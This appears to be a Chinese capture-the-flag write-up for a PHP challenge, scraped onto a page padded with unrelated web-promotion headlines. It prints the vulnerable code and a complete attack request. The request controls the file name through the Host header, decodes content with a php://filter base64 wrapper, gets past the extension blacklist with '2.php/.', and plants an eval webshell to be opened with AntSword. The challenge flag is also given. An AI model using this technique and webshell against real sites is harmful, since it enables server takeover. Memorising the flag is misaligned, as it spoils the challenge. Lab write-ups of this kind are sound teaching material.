当前位置: 首页 > news >正文

网站被劫持怎么办网络推广员工作好做吗

网站被劫持怎么办,网络推广员工作好做吗,松北建设局网站,大连旅顺博物馆[题目信息]: 题目名称题目难度PHP-综合42 [题目考点]: PHP综合训练[Flag格式]: SangFor{Ouk3i63BuShgxqdRcn_9kMNqKFDe5j4f}[环境部署]: docker-compose.yml文件或者docker tar原始文件。 http://分配ip:2087[题目writeup]:…

[题目信息]:

题目名称题目难度
PHP-综合42

[题目考点]:

PHP综合训练

[Flag格式]:

SangFor{Ouk3i63BuShgxqdRcn_9kMNqKFDe5j4f}

[环境部署]:

docker-compose.yml文件或者docker tar原始文件。

http://分配ip:2087

[题目writeup]:

1、实验主页

2、源码分析

<?php
if(isset($_GET['read-source'])) {exit(show_source(__FILE__));
}

define(‘DATA_DIR’, dirname(FILE) . ‘/data/’ . md5($_SERVER[‘REMOTE_ADDR’]));

if(!is_dir(DATA_DIR)) {
mkdir(DATA_DIR, 0755, true);
}
chdir(DATA_DIR);

$domain = isset($_POST[‘domain’]) ? $_POST[‘domain’] : ‘’;
$log_name = isset($_POST[‘log’]) ? $_POST[‘log’] : date(’-Y-m-d’);
?>
<?php if(!empty($_POST) && $domain):
$command = sprintf(“dig -t A -q %s”, escapeshellarg($domain));
$output = shell_exec($command);
$output = htmlspecialchars($output, ENT_HTML401 | ENT_QUOTES);
$log_name = $_SERVER[‘SERVER_NAME’] . $log_name;
if(!in_array(pathinfo($log_name, PATHINFO_EXTENSION), [‘php’, ‘php3’, ‘php4’, ‘php5’, ‘phtml’, ‘pht’], true)) {
file_put_contents($log_name, $output);
}
echo $output;
endif; ?>

分析题目代码,首先把眼光放在可以写入文件的地方

$log_name = $_SERVER['SERVER_NAME'] . $log_name;
if(!in_array(pathinfo($log_name, PATHINFO_EXTENSION), ['php', 'php3', 'php4', 'php5', 'phtml', 'pht'], true)) {file_put_contents($log_name, $output);
}

可以看到,文件名是由$_SERVER['SERVER_NAME']$log_name两部分组成的。

$log_name可以由$_POST['log']来控制,至于$_SERVER['SERVER_NAME']可以通过修改Host头部进行控制。

在官方文档中表明,在Apache2中没有进行相应设置的话,这个值是会由客户端进行提供。

!in_array(pathinfo($log_name, PATHINFO_EXTENSION), ['php', 'php3', 'php4', 'php5', 'phtml', 'pht'], true)

可以看到在源代码中只进行了文件后缀名的判断,但并没有以获取到的文件后缀当作写入文件的后缀,就可以利用shell.php/.的方式绕过。

观察写入文件内容,有一小部是用户可以自定义控制的,但是不能插入尖括号这些html字符,因为进行了一次转义。

这里可以利用php的伪协议,就可以控制写入文件的方式。base64解码中遇到不符合规范的字符直接跳过。所以虽然我们只能控制一部分内容,但是其他内容并不影响base64解码。另外因为base64解码是4位4位的解的,所以我们要保证我们需要解码的字符串之前的合法字符数为4的倍数,这样就不会影响我们传入的字符串正常解码。

需要注意的是base64中的=只能出现在最末尾,而我们插入的字符串是在中间的,所以我们插入的字符串里不能有=

发送数据包

POST / HTTP/1.1
Host: php
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Referer: http://192.168.17.87:2087/
Cookie: PHPSESSID=056395276464d1b4480bc1457efbb106
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 102

domain=PD9waHAgZXZhbCgkX1BPU1RbJ3gnXSk7Pz4y&log=://filter/write=convert.base64-decode/resource=2.php/.

蚁剑连接data目录下,MD5编码访问者ip目录下的2.php文件即可

http://www.tj-hxxt.cn/news/40526.html

相关文章:

  • 网站建设服务费标准济南公司网站推广优化最大的
  • 友情网站制作黑龙江头条今日新闻
  • 海山网站建设seo排名优化技术
  • 怎样做淘宝商品链接导航网站全达seo
  • 做辅食网站快速优化排名公司推荐
  • 潍坊网站建设公司网站
  • 企业网站制作的软件公司推广发帖网站怎么做
  • 模板手机网站建设公司排名百度的特点和优势
  • CP网站建设搭建需要多少钱如何被百度收录
  • 小白如何自己做网站知识营销案例
  • 做网站用什么后缀格式做好成都短视频代运营
  • 把网站做成微信小程序百度代理
  • 17做网站官网长春做网站公司长春seo公司
  • c 网站开发 调试东莞网站推广运营公司
  • 上海网站建设电影联合肥百度网站排名优化
  • 产品开发思路seo网站推广推荐
  • 做网站和做网页的区别seo案例视频教程
  • 网站建设费用详细表网站建设优化推广
  • 织梦做网站被告软文写作技巧有哪些
  • 燕郊做网站找谁杭州seo论坛
  • html网页大赛优秀作品天猫seo搜索优化
  • 网站域名到期怎么续费百度服务电话
  • 彩票网站开发演示cba排名
  • 池州网站建设有哪些公司建站之星官方网站
  • 怎么看 网站开发语言神起网络游戏推广平台
  • 电脑做科目一网站口碑营销
  • 西安长安网站建设制作惠州网站关键词排名
  • 太原建站的模板科技公司网站制作公司
  • 兴华建设集团有限公司网站百度超级链
  • 网上做图赚钱网站软文模板app